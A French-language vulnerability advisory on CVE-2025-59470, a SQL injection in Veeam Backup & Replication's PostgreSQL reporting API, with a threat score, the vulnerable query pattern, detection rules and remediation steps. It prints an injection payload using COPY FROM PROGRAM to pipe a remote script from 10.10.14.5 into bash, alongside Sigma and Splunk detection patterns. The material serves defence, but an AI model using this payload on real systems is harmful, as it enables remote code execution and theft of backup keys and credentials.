Aller au contenu

CVE-2025-59470 : exécution de code PostgreSQL par un opérateur dans Veeam Backup & Replication

HERMES

HERMES THREAT SCORE & RISQUE DE PLAN DE CONTRÔLE DE BASE DE DONNÉES

Cible : Instance de base de données PostgreSQL Veeam Backup & Replication
Confiance : 98%
92 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 17 / 20
Militarisation 19 / 20
Exposition 17 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 18 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Hermes classe la CVE-2025-59470 à 92 (CRITIQUE). La vulnérabilité permet à un compte ne disposant que du rôle restreint d'opérateur de sauvegarde (Backup Operator ou Tape Operator) de contourner les barrières applicatives pour exécuter des requêtes brutes sous le compte de service postgres. L'obtention de ce contexte permet l'accès intégral aux clés de chiffrement des sauvegardes, aux mots de passe des infrastructures virtualisées et l'exécution de code au niveau OS via les fonctions de chargement d'extensions PostgreSQL.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2025-59470: PostgreSQL Remote Code Execution via Operator Role in Veeam Backup & ReplicationVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTVeeam Backup & Replication
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”

Preuves vérifiées associées :

ParamètreSpécification techniqueImpact opérationnel
Identifiant CVECVE-2025-59470Identifiant officiel NVD / MITRE
Avis de sécurité éditeurVeeam KB4716Bulletin cumulatif de sécurité VBR v13
Composant affectéMoteur de requêtes PostgreSQL VBRCouche de persistance et de reporting
Versions affectéesVBR 13.x $\le$ 13.0.1.180Installations utilisant PostgreSQL
Version corrigéeVeeam Backup & Replication 13.0.1.1071Mise à niveau recommandée
Type de vulnérabilitéInjection SQL du second degré / EmpilementÉlévation de privilèges applicative
Rôle minimal requisBackup Operator ou Tape OperatorUtilisateur authentifié de faible niveau
Privilèges finauxCompte de service postgresAccès complet aux métadonnées et RCE hôte

Avec l’abandon progressif de Microsoft SQL Server au profit de PostgreSQL comme moteur de base de données par défaut, Veeam a redéveloppé ses procédures stockées et ses connecteurs d’accès aux données.

Flux d'injection SQL dans la CVE-2025-59470 :
┌────────────────────────────────────────────────────────┐
│ Opérateur de sauvegarde (Backup Operator) │
└───────────────────────────┬────────────────────────────┘
│ Requête API Reporting / Métriques
│ interval = "1 hour'; COPY cmd FROM PROGRAM '...';--"
▼
┌────────────────────────────────────────────────────────┐
│ Service Web API Veeam Backup │
│ • Réception de l'intervalle temporel │
│ • Concaténation non paramétrée de la chaîne SQL │
│ • String.Format("SELECT ... WHERE ts > NOW() - '{0}'", interval)
└───────────────────────────┬────────────────────────────┘
│ Envoi de la requête empilée
▼
┌────────────────────────────────────────────────────────┐
│ Moteur PostgreSQL │
│ • Exécution de la commande système via PROGRAM │
│ • Dropping de webshell ou exécution de code shell │
└────────────────────────────────────────────────────────┘

Le défaut se situe dans la classe de service générant les rapports d’activité des bandes magnétiques et des jobs incrémentiels. Alors que les identifiants d’objets étaient correctement typés (Guid), les champs de granularité temporelle étaient convertis en chaînes brutes :

// Modèle de vulnérabilité conceptuel décompilé :
string query = string.Format(
"SELECT job_id, duration, status FROM backup_sessions WHERE start_time >= NOW() - INTERVAL '{0}' ORDER BY {1}",
userProvidedInterval,
userProvidedOrder
);
using (var cmd = new NpgsqlCommand(query, dbConnection)) {
// Exécution avec les privilèges du pool PostgreSQL
cmd.ExecuteReader();
}

En fournissant une séquence d’échappement de type :

1 day'; DROP TABLE temp_sessions; CREATE TEMP TABLE exp(out text); COPY exp FROM PROGRAM 'curl http://10.10.14.5/rev.sh | bash';--

Le serveur PostgreSQL exécute la directive COPY ... FROM PROGRAM, qui génère un processus système exécuté sous l’identité du service de base de données (généralement postgres ou le compte de service local).


Règle Sigma : détection d’injection SQL sur l’API PostgreSQL Veeam

Section intitulée « Règle Sigma : détection d’injection SQL sur l’API PostgreSQL Veeam »
title: Injection SQL PostgreSQL dans Veeam Backup & Replication
id: cve-2025-59470-veeam-sqli
status: experimental
description: Détecte les tentatives d'échappement de commande SQL via les paramètres interval ou order dans les journaux VBR
references:
- https://www.veeam.com/kb4716
logsource:
category: application
product: postgresql
detection:
selection:
message|contains:
- "INTERVAL '"
- "FROM PROGRAM"
- "pg_read_file"
- "pg_execute"
message|contains:
- "'; "
- "';"
- "--"
condition: selection
falsepositives:
- Procédures de maintenance DBA manuelles autorisées
level: critical

Requête Splunk : exécution de processus anormaux par PostgreSQL

Section intitulée « Requête Splunk : exécution de processus anormaux par PostgreSQL »
index=endpoint (process_name="postgres.exe" OR process_name="postgres")
child_process IN ("cmd.exe", "powershell.exe", "bash", "sh", "curl", "wget")
| table _time host process_name child_process CommandLine

  1. Application du correctif KB4716 : déployer immédiatement la version 13.0.1.1071 de Veeam Backup & Replication.
  2. Audit des rôles RBAC Veeam : réviser la liste des utilisateurs affectés aux rôles Backup Operator et Tape Operator.
  3. Durcissement de PostgreSQL : désactiver les privilèges d’exécution COPY FROM PROGRAM pour les rôles applicatifs non superutilisateurs si l’instance est mutualisée.